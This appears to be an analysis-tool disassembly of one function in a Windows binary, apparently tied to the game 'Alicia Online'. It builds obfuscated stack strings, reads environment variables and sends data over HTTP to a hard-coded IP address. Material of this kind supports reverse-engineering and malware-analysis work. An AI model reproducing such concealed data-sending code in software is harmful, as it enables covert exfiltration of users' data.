Function at 0x100073ab
Capabilities:
Contain obfuscated stackstrings
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xec
push ebx
push esi
lea eax, [esp + 0xbc]
push edi
xor ebx, ebx
push eax
mov word [esp + 0xc4], 0x41
mov word [esp + 0xc6], 0x6c
mov word [esp + 0xc8], 0x69
mov word [esp + 0xca], 0x63
mov word [esp + 0xcc], 0x69
mov word [esp + 0xce], 0x61
mov word [esp + 0xd0], 0x5f
mov word [esp + 0xd2], 0x4f
mov word [esp + 0xd4], 0x6e
mov word [esp + 0xd6], 0x6c
mov word [esp + 0xd8], 0x69
mov word [esp + 0xda], 0x6e
mov word [esp + 0xdc], 0x65
mov word [esp + 0xde], 0x5f
mov word [esp + 0xe0], 0x44
mov word [esp + 0xe2], 0x65
mov word [esp + 0xe4], 0x62
mov word [esp + 0xe6], 0x75
mov word [esp + 0xe8], 0x67
mov word [esp + 0xea], 0x5f
mov word [esp + 0xec], 0x44
mov word [esp + 0xee], 0x61
mov word [esp + 0xf0], 0x74
mov word [esp + 0xf2], 0x61
mov word [esp + 0xf4], 0x73
mov word [esp + 0xf6], bx
call fcn.10004872
mov edi, dword [eax + 4]
pop ecx
mov esi, eax
call fcn.10003ff1
push 0x34
pop ecx
lea eax, [esp + 0xc0]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100074e0
cmp edi, ebx
jne 0x100074f1
xor eax, eax
jmp 0x10007a15
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.1000405d
mov edi, eax
push edi
call fcn.10006c0a
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100421fc
push esi
push 0x28
push 2
push edi
mov word [esp + 0xac], 0x4d
mov word [esp + 0xae], 0x69
mov word [esp + 0xb0], 0x63
mov word [esp + 0xb2], 0x72
mov word [esp + 0xb4], 0x6f
mov word [esp + 0xb6], 0x73
mov word [esp + 0xb8], 0x6f
mov word [esp + 0xba], 0x66
mov word [esp + 0xbc], 0x74
mov word [esp + 0xbe], 0x5c
mov word [esp + 0xc0], 0x53
mov word [esp + 0xc2], ax
mov word [esp + 0xc4], 0x61
mov word [esp + 0xc6], 0x72
mov word [esp + 0xc8], 0x63
mov word [esp + 0xca], 0x68
mov word [esp + 0xcc], bx
mov word [esp + 0x98], 0x47
mov word [esp + 0x9a], 0x61
mov word [esp + 0x9c], 0x6d
mov word [esp + 0x9e], ax
mov word [esp + 0xa0], 0x74
mov word [esp + 0xa2], 0x72
mov word [esp + 0xa4], ax
mov word [esp + 0xa6], ax
mov word [esp + 0xa8], bx
call fcn.100069e9
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.100069e9
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.100069e9
push esi
push 0x1a
push 5
push edi
call fcn.100069e9
add esp, 0x40
push esi
push 0x28
push 2
push edi
call fcn.10006aa1
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.10006aa1
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.10006aa1
push esi
push 0x1a
push 5
push edi
call fcn.10006aa1
add esp, 0x40
push 0x22
pop ecx
lea eax, [esp + 0x9c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007691
push 0x12
pop ecx
lea eax, [esp + 0x88]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100076a1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp eax, ebx
mov dword [esp + 0x68], eax
je 0x100077d4
cmp word [eax], bx
mov word [esp + 0x78], 0x41
mov word [esp + 0x7a], 0x6c
mov word [esp + 0x7c], 0x69
mov word [esp + 0x7e], 0x63
mov word [esp + 0x80], 0x69
mov word [esp + 0x82], 0x61
mov word [esp + 0x84], bx
mov dword [esp + 0x70], eax
je 0x100077c0
mov esi, dword [esp + 0x70]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + eax*2 + 2]
mov dword [esp + 0xf4], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x6c], esi
sub dword [esp + 0x6c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], 0x41
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x6c]
movzx eax, word [eax + ecx]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx esi, ax
movzx eax, word [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx eax, ax
sub esi, eax
jne 0x100077a8
add dword [esp + 0x18], 2
mov eax, dword [esp + 0x18]
movzx eax, word [eax]
cmp ax, bx
mov dword [esp + 0xc], eax
jne 0x1000772c
push dword [esp + 0x70]
call fcn.10004527
pop ecx
push 0x3c
mov esi, edi
mov dword [esp + 0x10], eax
call fcn.10005631
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call fcn.10004296
push 0x3e
call fcn.10005631
mov esi, dword [esp + 0x30]
add esp, 0x24
call fcn.10004019
mov eax, dword [esp + 0xf4]
cmp word [eax], bx
mov dword [esp + 0x70], eax
jne 0x100076fe
mov eax, dword [esp + 0x68]
push 0xe
pop edx
lea ecx, [esp + 0x78]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x100077c7
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
call fcn.100068f1
pop ecx
mov dword [esp + 0x74], 1
call fcn.1000123e
mov dword [esp + 0xc], eax
mov byte [esp + 0x3c], 0x31
mov byte [esp + 0x3d], 0x33
mov byte [esp + 0x3e], 0x36
mov byte [esp + 0x3f], 0x2e
mov byte [esp + 0x40], 0x32
mov byte [esp + 0x41], 0x34
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x2e
mov byte [esp + 0x44], 0x38
mov byte [esp + 0x45], 0x31
mov byte [esp + 0x46], 0x2e
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x33
mov byte [esp + 0x49], 0x38
mov byte [esp + 0x4a], 0x2f
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0x6f
mov byte [esp + 0x4d], 0x67
mov byte [esp + 0x4e], 0x69
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], 0x2f
mov byte [esp + 0x51], 0x61
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x54], 0x63
mov byte [esp + 0x55], 0x69
mov byte [esp + 0x56], 0x61
mov byte [esp + 0x57], 0x2f
mov byte [esp + 0x58], 0x64
mov byte [esp + 0x59], 0x65
mov byte [esp + 0x5a], 0x62
mov byte [esp + 0x5b], 0x75
mov byte [esp + 0x5c], 0x67
mov byte [esp + 0x5d], 0x5f
mov byte [esp + 0x5e], 0x64
mov byte [esp + 0x5f], 0x61
mov byte [esp + 0x60], 0x74
mov byte [esp + 0x61], 0x61
mov byte [esp + 0x62], 0x2e
mov byte [esp + 0x63], 0x70
mov byte [esp + 0x64], 0x68
mov byte [esp + 0x65], 0x70
mov byte [esp + 0x66], bl
mov byte [esp + 0x1c], 0x68
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x70
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0x3a
mov byte [esp + 0x22], 0x2f
mov byte [esp + 0x23], 0x2f
mov byte [esp + 0x24], 0x31
mov byte [esp + 0x25], 0x33
mov byte [esp + 0x26], 0x36
mov byte [esp + 0x27], 0x2e
mov byte [esp + 0x28], 0x32
mov byte [esp + 0x29], 0x34
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], 0x38
mov byte [esp + 0x2d], 0x31
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x33
mov byte [esp + 0x31], 0x38
mov byte [esp + 0x32], 0x2f
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], 0x6f
mov byte [esp + 0x35], 0x67
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x10], 0x64
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x74
push ebx
push ebx
push ebx
push ebx
push ebx
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], bl
push dword [edi]
lea eax, [esp + 0x28]
push 0x10042540
push eax
call fcn.1000405d
push ebx
push ebx
push dword [eax]
mov dword [esp + 0x94], eax
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x4c]
xor eax, eax
call fcn.10003959
mov esi, eax
add esp, 0x44
cmp esi, ebx
je 0x100079d1
lea eax, [esp + 0x74]
push eax
push str.result
push dword [esi]
call fcn.10005c6d
add esp, 0xc
call fcn.10004019
mov esi, dword [esp + 0x68]
call fcn.10004019
push 0x2b
pop ecx
lea eax, [esp + 0x3c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100079e1
push 0x1d
pop ecx
lea eax, [esp + 0x1c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100079ee
push 5
pop ecx
lea eax, [esp + 0x10]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100079fb
mov ebx, dword [esp + 0xc]
call fcn.1000180b
mov esi, edi
call fcn.10004019
mov eax, dword [esp + 0x74]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret